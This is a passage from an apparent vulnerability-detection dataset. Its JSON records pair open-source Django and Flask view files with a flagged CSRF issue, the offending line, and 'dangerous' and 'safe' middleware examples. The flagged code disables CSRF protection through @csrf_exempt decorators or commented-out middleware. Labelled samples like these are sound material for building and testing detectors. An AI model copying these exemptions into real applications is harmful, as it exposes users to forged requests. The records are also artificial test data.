\"\"\"\n @summary: 按照不同维度统计业务任务总数\n @param request:\n @param project_id:\n @return:\n \"\"\"\n try:\n params = json.loads(request.body)\n except Exception:\n return JsonResponse(\n {\n \"result\": False,\n \"message\": \"invalid json format\",\n \"code\": err_code.REQUEST_PARAM_INVALID.code,\n }\n )\n project = request.project\n conditions = params.get(\"conditions\", {})\n group_by = params.get(\"group_by\")\n if not isinstance(conditions, dict):\n message = (\n \"[API] query_task_list params conditions[%s] are invalid dict data\"\n % conditions\n )\n logger.error(message)\n return JsonResponse(\n {\n \"result\": False,\n \"message\": message,\n \"code\": err_code.REQUEST_PARAM_INVALID.code,\n }\n )\n if group_by not in [\"category\", \"create_method\", \"flow_type\", \"status\"]:\n message = \"[API] query_task_list params group_by[%s] is invalid\" % group_by\n logger.error(message)\n return JsonResponse(\n {\n \"result\": False,\n \"message\": message,\n \"code\": err_code.REQUEST_PARAM_INVALID.code,\n }\n )\n\n filters = {\"project_id\": project.id, \"is_deleted\": False}\n filters.update(conditions)\n success, content = task_flow_instance.dispatch(group_by, filters)\n if not success:\n return JsonResponse(\n {\"result\": False, \"message\": content, \"code\": err_code.UNKNOWN_ERROR.code}\n )\n return JsonResponse(\n {\"result\": True, \"data\": content, \"code\": err_code.SUCCESS.code}\n )", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 36, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "dbe253459482c89c352ebba6b39a30fa875ed47253131d934b0ec925d5e45295", "license": {"spdx": ["MIT"], "repo": "princesinghtomar/BTP", "path": "backend/model/views.py", "repo_head_hexsha": "44bf84db09637453b1e107bfdd305a47610b81f2", "stack_hexsha": "d816ebec6670bc97c3cfcc6d198d67b571f9d900", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 9, "entireCode": "from django.shortcuts import render\nfrom django.views.decorators.csrf import csrf_exempt\nfrom rest_framework.parsers import JSONParser\nfrom django.http.response import JsonResponse\nimport base64\nfrom numpy import random\n\n# Create your views here.\n@csrf_exempt\ndef algo(req):\n if req.method == \"POST\":\n data = JSONParser().parse(req)\n audioData = base64.b64decode(data[\"audioData\"][22:].encode('ascii'))\n prob = random.uniform(0, 1)\n if prob > 0.5:\n return JsonResponse({\"output\": \"Nice!!\", \"feedback\": \"This is pos feedback\"})\n else:\n return JsonResponse({\"output\": \"Oh No!!\", \"feedback\": \"This is neg feedback\"})", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 9, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "4a2d90fbfbf55f1d32ea42ee9308d1499ed9e02603432c668b458da0969ec73c", "license": {"spdx": ["BSD-2-Clause"], "repo": "jeanlucancey/pronunciamento", "path": "dialogue/sinodoju.py", "repo_head_hexsha": "a7c7407cda8e5dace3f4cd8eebbfee9bdd469e14", "stack_hexsha": "1d8982e4961fe4520d62952b9772740d30716f97", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 156, "entireCode": "import time\n\nfrom os import system\n\nfrom django.http import HttpResponse\nfrom django.template import Context, loader\nfrom django.views.decorators.csrf import csrf_exempt # Pour des formulaires POST libres\n\nfrom jla_utils.utils import Fichier\nfrom .models import ElementDialogue\n\nclass Tunnel:\n def __init__(self, longueurArg, generationArg):\n self.longueur = longueurArg\n self.generation = generationArg\n\ndef alimenteBaseDeDonnees (nomEntree, identifiantSerpicon, descriptifTunnel, serveur):\n ElementDialogue.objects.create(\n nom = nomEntree,\n param1 = identifiantSerpicon,\n param2 = descriptifTunnel,\n param3 = serveur\n )\n\ndef analyseGraine (ligneLue):\n graine = ligneLue[10:len(ligneLue) - 1]\n\n return graine\n\ndef analyseNbCell (ligneLue):\n nbCellString = ligneLue[9:len(ligneLue)]\n nbCell = int(nbCellString)\n\n return nbCell\n\ndef analyseTunnel (request):\n nomFichTunnel = \"resultat_longtun2.txt\"\n numLigneLue = 0\n fichALire = Fichier(nomFichTunnel, 0)\n chouBlanc = True # Par defaut\n nbCell = 0\n graine = \"\"\n mesTunnels = []\n\n while fichALire.index < fichALire.longueur:\n ligneLue = fichALire.litUneLigne()\n numLigneLue += 1\n if numLigneLue == 1:\n nbCell = analyseNbCell(ligneLue)\n elif numLigneLue == 2:\n graine = analyseGraine(ligneLue)\n else:\n if (len(ligneLue) > 10) and (ligneLue[0:6] == \"Tunnel\"):\n chouBlanc = False\n monTunnelNormalise = analyseTunnelMoteur(ligneLue)\n mesTunnels.append(monTunnelNormalise)\n fichALire.close()\n print(\"Le nombre de cellules est de %d.\" % (nbCell))\n print(\"La graine est [%s].\" % (graine))\n\n nomEntreeDeBase = fabriqueTempsSyntaxeUrl()\n identifiantSerpicon = \"%d %s\" % (nbCell, graine)\n nomServeur = \"alwaysdata\"\n\n if chouBlanc:\n alimenteBaseDeDonnees(nomEntreeDeBase, identifiantSerpicon, \"Chou blanc !\", nomServeur)\n else:\n for numTunnel in range(len(mesTunnels)):\n monTunnel = mesTunnels[numTunnel]\n maLongueur = monTunnel.longueur\n maGeneration = monTunnel.generation\n print(\"Tunnel de %s a la generation %s\" % \\\n (separateurMille(maLongueur, ' '),\n separateurMille(maGeneration, ' ')))\n nomEntreeDeBase = fabriqueTempsSyntaxeUrl()\n nomEntree = nomEntreeDeBase + \"__\" + separateurMille(maLongueur, '_')\n descriptifTunnel = separateurMille(maLongueur, ' ') + \" en \" \\\n + separateurMille(maGeneration, ' ')\n alimenteBaseDeDonnees(nomEntree, identifiantSerpicon, descriptifTunnel, nomServeur)\n if numTunnel < len(mesTunnels) - 1:\n attend(5.0)\n\n # time.sleep(2.0) # A tout hasard, pour ne pas venir trop vite apres les requetes\n # d'analyse_tunnel.py\n # lanceSinodoju () # On va laisser courteline s'occuper de relancer amarelia\n\n tableauDeLignes = []\n tableauDeLignes.append(\"Cette page est la page de l'analyse des tunnels.\")\n\n template = loader.get_template('cestmoilechef/petite_merdasse.html')\n context = Context({ 'tabDeLignes': tableauDeLignes })\n output = template.render(context)\n return HttpResponse(output)\n\ndef attend (dureeEnSecondes):\n time.sleep(dureeEnSecondes)\n\ndef analyseTunnelMoteur (ligneLue):\n chaineLongueur = \"\"\n chaineGeneration = \"\"\n caracLu = \"\"\n numSigne = 10\n eTrouve = False\n while (not eTrouve) and (numSigne < len(ligneLue)):\n signeLu = ligneLue[numSigne]\n if signeLu == \"e\":\n eTrouve = True\n else:\n chaineLongueur += signeLu\n numSigne += 1\n chaineLongueur = chaineLongueur[0:len(chaineLongueur) - 1] # pour virer l'espace finale\n maLongueur = int(vireSigne(chaineLongueur, ' '))\n numSigne += 2\n chaineGeneration = ligneLue[numSigne:len(ligneLue)]\n maGene = int(vireSigne(chaineGeneration, ' '))\n\n monTunnel = Tunnel(maLongueur, maGene)\n\n return monTunnel\n\ndef fabriqueTempsSyntaxeGraine ():\n graine = time.strftime(\"jlancey%Y%m%da%Hh%Mm%S\", time.localtime())\n\n return graine\n\ndef fabriqueTempsSyntaxeUrl ():\n # tempsSyntaxeUrl = time.strftime(\"%Y-%m-%d_%H-%M-%S\", time.gmtime())\n tempsSyntaxeUrl = time.strftime(\"%Y-%m-%d_%H-%M-%S\", time.localtime())\n\n return tempsSyntaxeUrl\n\ndef lanceSinodoju ():\n conn = http.client.HTTPConnection(\"www.amarelia.ch\")\n\n conn.request(\"GET\", \"/sinodoju/sinodoju.php\")\n\n r1 = conn.getresponse()\n print(r1.status, r1.reason)\n data1 = r1.read()\n # print(data1)\n\n conn.close()\n\ndef separateurMille (monEntier, monSeparateur):\n maChaine0 = \"%d\" % (monEntier)\n maChaine1 = \"\"\n for numSigne in range(len(maChaine0)):\n numSigne2 = len(maChaine0) -1 - numSigne\n monSigne = maChaine0[numSigne2]\n if (numSigne % 3 == 0) and numSigne > 0:\n maChaine1 = monSeparateur + maChaine1\n maChaine1 = monSigne + maChaine1\n\n return maChaine1\n\n@csrf_exempt # En théorie, c'est une brèche de sécurité; en pratique... ca depend\ndef viewSinodoju (request):\n tableauDeLignes = []\n tableauDeLignes.append(\"Cette page est la page de Sinodoju.\")\n\n graine = fabriqueTempsSyntaxeGraine()\n nbBitsFournis = len(graine) * 6\n tableauDeLignes.append(\"La graine est [%s], soit assez pour %d bits.\" % (graine, nbBitsFournis))\n\n nbCellules = 145\n system(\"./sinodoju.pl %d %s > cr_perl.txt 2> cr2_perl.txt &\" % (nbCellules, graine))\n\n tableauDeLignes.append(\"En principe, si vous lisez ça, c'est qu'un daemon Sinodoju a été lancé.\")\n tableauDeLignes.append(\"Donc ça aura un effet... quand le daemon aura fini de travailler.\")\n tableauDeLignes.append(\"Ce template a été écrit pour vous rendre la main tout de suite...\")\n tableauDeLignes.append(\"... mais des limitations d'AlwaysData, compréhensibles d'ailleurs,\")\n tableauDeLignes.append(\"imposent d'attendre quand même la fin du processus. Cette page ne\")\n tableauDeLignes.append(\"sert donc qu'à titre de test.\")\n\n template = loader.get_template('cestmoilechef/petite_merdasse.html')\n context = Context({ 'tabDeLignes': tableauDeLignes })\n output = template.render(context)\n return HttpResponse(output)\n\ndef vireSigne (maChaine, monSigneAVirer):\n maChainePurgee = \"\"\n for numSigne in range(len(maChaine)):\n monSigne = maChaine[numSigne]\n if monSigne != monSigneAVirer:\n maChainePurgee += monSigne\n\n return maChainePurgee", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 156, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "7db40cae740a359b2476cfaae25290fda4ccd2c81f1a9121133a7b47bfa4cf65", "license": {"spdx": ["MIT"], "repo": "LEEJ0NGWAN/FreeChart", "path": "back/account/api/email.py", "repo_head_hexsha": "8769aea07079fe3a5af4aab701028e6aa9cb6598", "stack_hexsha": "e7a5a15ae34d07d8db1c25006ec84dcaf8009bc5", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 26, "entireCode": "import json\nfrom datetime import datetime\nfrom django.core.mail import send_mail\nfrom django.contrib.auth import (\n login, logout, update_session_auth_hash\n)\nfrom django.template import loader\nfrom django.http import JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.utils.decorators import method_decorator\nfrom django.views.generic import View\nfrom rest_framework.views import APIView\nfrom rest_framework.status import (\n HTTP_400_BAD_REQUEST, HTTP_401_UNAUTHORIZED, HTTP_403_FORBIDDEN,\n HTTP_404_NOT_FOUND, HTTP_409_CONFLICT\n)\nfrom rest_framework_simplejwt.tokens import RefreshToken\nfrom utils import id_generator, redis\nfrom account.models import User\nfrom utils import SetDefaultData\nfrom utils.serialize import serialize\nfrom FreeChart.settings import HOST_NAME, EMAIL_HOST_SENDER\n\nverify_url = f'http://{HOST_NAME}/api/accounts/email'\n\n@method_decorator(csrf_exempt, name='dispatch')\nclass EmailController(View):\n # email 인증\n def post(self, request):\n data = request.data\n\n if data:\n if 'token' not in data:\n return JsonResponse({\n 'error': 'no token'\n }, status=HTTP_400_BAD_REQUEST)\n \n if 'email' not in data:\n return JsonResponse({\n 'error': 'no email'\n }, status=HTTP_400_BAD_REQUEST)\n \n email = data['email']\n\n user = User.objects.filter(email=email).first()\n\n if not user:\n return JsonResponse({\n 'error': 'no user'\n }, status=HTTP_404_NOT_FOUND)\n\n key = f'VERIFY:{email}'\n token = redis.get(key)\n\n if not token:\n return JsonResponse({\n 'error': 'no token'\n }, status=HTTP_404_NOT_FOUND)\n \n if token != data.get('token'):\n return JsonResponse({\n 'error': 'incorrect'\n }, status=HTTP_400_BAD_REQUEST)\n \n user.email_verified = True\n user.save()\n\n del redis[key]\n\n else:\n if not request.user.is_authenticated:\n return JsonResponse({}, status=HTTP_401_UNAUTHORIZED)\n\n key = f'VERIFY:{request.user.email}'\n token = id_generator(size=128)\n redis.set(key, token, 180) # 3분\n\n html = loader.render_to_string(\n 'email_verify_template.html',\n {\n 'token': token, \n 'email': request.user.email,\n 'verify_url': verify_url\n }\n )\n\n send_mail(\n '[FreeChart] 이메일 인증 링크',\n '',\n from_email=EMAIL_HOST_SENDER,\n recipient_list=[request.user.email],\n html_message=html\n )\n\n return JsonResponse({})\n", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 26, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "048230b1424bc0880acd2da927511c007ab22ed52c960ebfe1136ad9b6698505", "license": {"spdx": ["Apache-2.0"], "repo": "DevRx28/dbms-api", "path": "player/views.py", "repo_head_hexsha": "5685555c7c8b6621dc03c4092606c1972b6afda1", "stack_hexsha": "f99d41329441c74cee1cf4c76c0c367e6cd1c31b", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 8, "entireCode": "from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.http import Http404\nfrom django.views.decorators.csrf import csrf_exempt\nfrom .models import Player\nfrom django.core.paginator import Paginator\n\n@csrf_exempt\ndef basic_view(request):\n if request.method == 'POST':\n players = Player.objects.all()\n\n # Set search parameters\n try:\n Name = request.POST['PlayerName']\n if Name != '':\n players = players.filter(Name=Name)\n except KeyError:\n pass\n\n try:\n Age = request.POST['Age']\n players = players.filter(Age=Age)\n except KeyError:\n pass\n except ValueError:\n pass\n\n try:\n Nationality = request.POST['Nationality']\n if Nationality != '':\n players = players.filter(Nationality=Nationality)\n except KeyError:\n pass\n\n try:\n Club = request.POST['Club']\n if Club != '':\n players = players.filter(Club=Club)\n except KeyError:\n pass\n\n try:\n Position = request.POST['Position']\n if Position != '':\n players = players.filter(Position=Position)\n except KeyError:\n pass\n\n try:\n Overall = request.POST['Overall']\n players = players.filter(Overall__gte=Overall)\n except KeyError:\n pass\n except ValueError:\n pass\n\n try:\n Potential = request.POST['Potential']\n players = players.filter(Potential=Potential)\n except KeyError:\n pass\n except ValueError:\n pass\n\n\n try:\n WeakFoot = request.POST['WeakFoot']\n players = players.filter(WeakFoot=WeakFoot)\n except KeyError:\n pass\n except ValueError:\n pass\n\n try:\n SkillMoves = request.POST['SkillMoves']\n players = players.filter(SkillMoves=SkillMoves)\n except KeyError:\n pass\n except ValueError:\n pass\n \n try:\n PreferredFoot = request.POST['PreferredFoot']\n if PreferredFoot != '':\n players = players.filter(PreferredFoot=PreferredFoot)\n except KeyError:\n pass\n\n try:\n InternationalReputation = request.POST['InternationalReputation']\n players = players.filter(InternationalReputation=InternationalReputation)\n except KeyError:\n pass\n except ValueError:\n pass\n\n # Generating output\n player_list = list(players)\n # player_list = Paginator(players, 50)\n print(player_list)\n\n context = {\n\t\t\t'results': 'yes',\n\t\t\t'some_list': player_list\n\t\t}\n \n return render(request, 'players.html', context)\n else:\n return render(request, 'players.html')", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 8, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "aadf80398750543634571bfd717995b2faff2d9a61164255682f6fd710e0b577", "license": {"spdx": ["MIT"], "repo": "assarbad/archivy", "path": "archivy/routes.py", "repo_head_hexsha": "33d41e3f06d6b88a5a357b6502344279cbcdf903", "stack_hexsha": "13063bbc45d050be826ac0200735f2711c0a745a", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 412, "entireCode": "from pathlib import Path\nfrom os.path import sep\nfrom pkg_resources import require\nfrom shutil import which\n\nimport frontmatter\nfrom flask import (\n render_template,\n flash,\n redirect,\n request,\n url_for,\n send_file,\n send_from_directory,\n)\nfrom flask_login import login_user, current_user, logout_user\nfrom tinydb import Query\nfrom werkzeug.security import check_password_hash, generate_password_hash\n\nfrom archivy.models import DataObj, User\nfrom archivy import data, app, forms, csrf\nfrom archivy.helpers import get_db, write_config, is_safe_redirect_url\nfrom archivy.tags import get_all_tags\nfrom archivy.search import search, search_frontmatter_tags\nfrom archivy.config import Config\n\nimport re\n\n\n@app.context_processor\ndef pass_defaults():\n dataobjs = data.get_items(load_content=False)\n version = require(\"archivy\")[0].version\n SEP = sep\n # check windows parsing for js (https://github.com/Uzay-G/archivy/issues/115)\n if SEP == \"\\\\\":\n SEP += \"\\\\\"\n return dict(dataobjs=dataobjs, SEP=SEP, version=version, config=app.config)\n\n\n@app.before_request\ndef check_perms():\n allowed_path = (\n request.path.startswith(\"/login\")\n or request.path.startswith(\"/static\")\n or request.path.startswith(\"/api/login\")\n )\n if not current_user.is_authenticated and not allowed_path:\n return redirect(url_for(\"login\", next=request.path))\n return\n\n\n@app.route(\"/\")\n@app.route(\"/index\")\ndef index():\n path = request.args.get(\"path\", \"\").lstrip(\"/\")\n try:\n files = data.get_items(path=path)\n except FileNotFoundError:\n flash(\"Directory does not exist.\", \"error\")\n return redirect(\"/\")\n\n return render_template(\n \"home.html\",\n title=path or \"root\",\n search_enabled=app.config[\"SEARCH_CONF\"][\"enabled\"],\n dir=files,\n current_path=path,\n new_folder_form=forms.NewFolderForm(),\n delete_form=forms.DeleteFolderForm(),\n rename_form=forms.RenameDirectoryForm(),\n view_only=0,\n )\n\n\n# TODO: refactor two following methods\n@app.route(\"/bookmarks/new\", methods=[\"GET\", \"POST\"])\ndef new_bookmark():\n default_dir = app.config.get(\"DEFAULT_BOOKMARKS_DIR\", \"root directory\")\n form = forms.NewBookmarkForm(path=default_dir)\n form.path.choices = [(\"\", \"root directory\")] + [\n (pathname, pathname) for pathname in data.get_dirs()\n ]\n if form.validate_on_submit():\n path = form.path.data\n tags = form.tags.data.split(\",\") if form.tags.data != \"\" else []\n tags = [tag.strip() for tag in tags]\n bookmark = DataObj(url=form.url.data, tags=tags, path=path, type=\"bookmark\")\n bookmark.process_bookmark_url()\n bookmark_id = bookmark.insert()\n if bookmark_id:\n flash(\"Bookmark Saved!\", \"success\")\n return redirect(f\"/dataobj/{bookmark_id}\")\n else:\n flash(bookmark.error, \"error\")\n return redirect(\"/bookmarks/new\")\n # for bookmarklet\n form.url.data = request.args.get(\"url\", \"\")\n path = request.args.get(\"path\", default_dir).strip(\"/\")\n # handle empty argument\n form.path.data = path\n return render_template(\"dataobjs/new.html\", title=\"New Bookmark\", form=form)\n\n\n@app.route(\"/notes/new\", methods=[\"GET\", \"POST\"])\ndef new_note():\n form = forms.NewNoteForm()\n default_dir = \"root directory\"\n form.path.choices = [(\"\", default_dir)] + [\n (pathname, pathname) for pathname in data.get_dirs()\n ]\n if form.validate_on_submit():\n path = form.path.data\n tags = form.tags.data.split(\",\") if form.tags.data != \"\" else []\n tags = [tag.strip() for tag in tags]\n note = DataObj(title=form.title.data, path=path, tags=tags, type=\"note\")\n note_id = note.insert()\n if note_id:\n flash(\"Note Saved!\", \"success\")\n return redirect(f\"/dataobj/{note_id}\")\n path = request.args.get(\"path\", default_dir).strip(\"/\")\n # handle empty argument\n form.path.data = path\n return render_template(\"/dataobjs/new.html\", title=\"New Note\", form=form)\n\n\n@app.route(\"/tags\")\ndef show_all_tags():\n if not app.config[\"SEARCH_CONF\"][\"engine\"] == \"ripgrep\" and not which(\"rg\"):\n flash(\"Ripgrep must be installed to view pages about embedded tags.\", \"error\")\n return redirect(\"/\")\n tags = sorted(get_all_tags(force=True))\n return render_template(\"tags/all.html\", title=\"All Tags\", tags=tags)\n\n\n@app.route(\"/tags/\")\ndef show_tag(tag_name):\n if not app.config[\"SEARCH_CONF\"][\"enabled\"] and not which(\"rg\"):\n flash(\n \"Search (for example ripgrep) must be installed to view pages about embedded tags.\",\n \"error\",\n )\n return redirect(\"/\")\n\n results = search(f\"#{tag_name}#\", strict=True)\n res_ids = set(\n [item[\"id\"] for item in results]\n ) # avoid duplication of results between context-aware embedded tags and metadata ones\n for res in search_frontmatter_tags(tag_name):\n if res[\"id\"] not in res_ids:\n results.append(res)\n\n return render_template(\n \"tags/show.html\",\n title=f\"Tags - {tag_name}\",\n tag_name=tag_name,\n search_result=results,\n )\n\n\n@app.route(\"/dataobj/\")\ndef show_dataobj(dataobj_id):\n dataobj = data.get_item(dataobj_id)\n get_title_id_pairs = lambda x: (x[\"title\"], x[\"id\"])\n titles = list(\n map(get_title_id_pairs, data.get_items(structured=False, load_content=False))\n )\n js_ext = \"\"\n if app.config[\"DATAOBJ_JS_EXTENSION\"]:\n js_ext = (\n (Path(app.config[\"USER_DIR\"]) / app.config[\"DATAOBJ_JS_EXTENSION\"])\n .open(\"r\")\n .read()\n )\n\n if not dataobj:\n flash(\"Data could not be found!\", \"error\")\n return redirect(\"/\")\n\n if request.args.get(\"raw\") == \"1\":\n return frontmatter.dumps(dataobj)\n\n backlinks = []\n if app.config[\"SEARCH_CONF\"][\"enabled\"]:\n if app.config[\"SEARCH_CONF\"][\"engine\"] == \"ripgrep\":\n query = f\"\\|{dataobj_id}]]\"\n else:\n query = f\"|{dataobj_id})]]\"\n backlinks = search(query, strict=True)\n\n # Form for moving data into another folder\n move_form = forms.MoveItemForm()\n move_form.path.choices = [(\"\", \"root directory\")] + [\n (pathname, pathname) for pathname in data.get_dirs()\n ]\n\n post_title_form = forms.TitleForm()\n post_title_form.title.data = dataobj[\"title\"]\n\n # Get all tags\n tag_list = get_all_tags()\n # and the ones present in this dataobj\n embedded_tags = set()\n PATTERN = r\"(?:^|\\n| )#(?:[-_a-zA-ZÀ-ÖØ-öø-ÿ0-9]+)#\"\n for match in re.finditer(PATTERN, dataobj.content):\n embedded_tags.add(match.group(0).replace(\"#\", \"\").lstrip())\n\n return render_template(\n \"dataobjs/show.html\",\n title=dataobj[\"title\"],\n dataobj=dataobj,\n backlinks=backlinks,\n current_path=dataobj[\"dir\"],\n form=forms.DeleteDataForm(),\n view_only=0,\n search_enabled=app.config[\"SEARCH_CONF\"][\"enabled\"],\n post_title_form=post_title_form,\n move_form=move_form,\n tag_list=tag_list,\n embedded_tags=embedded_tags,\n titles=titles,\n js_ext=js_ext,\n icons=app.config[\"EDITOR_CONF\"][\"toolbar_icons\"],\n )\n\n\n@app.route(\"/dataobj/move/\", methods=[\"POST\"])\ndef move_item(dataobj_id):\n form = forms.MoveItemForm()\n out_dir = form.path.data if form.path.data != \"\" else \"root directory\"\n if form.path.data == None:\n flash(\"No path specified.\")\n return redirect(f\"/dataobj/{dataobj_id}\")\n try:\n if data.move_item(dataobj_id, form.path.data):\n flash(f\"Data successfully moved to {out_dir}.\", \"success\")\n return redirect(f\"/dataobj/{dataobj_id}\")\n else:\n flash(f\"Data could not be moved to {out_dir}.\", \"error\")\n return redirect(f\"/dataobj/{dataobj_id}\")\n except FileNotFoundError:\n flash(\"Data not found.\", \"error\")\n return redirect(\"/\")\n except FileExistsError:\n flash(\"Data already in target directory.\", \"error\")\n return redirect(f\"/dataobj/{dataobj_id}\")\n\n\n@app.route(\"/dataobj/delete/\", methods=[\"POST\"])\ndef delete_data(dataobj_id):\n try:\n data.delete_item(dataobj_id)\n except BaseException:\n flash(\"Data could not be found!\", \"error\")\n return redirect(\"/\")\n flash(\"Data deleted!\", \"success\")\n return 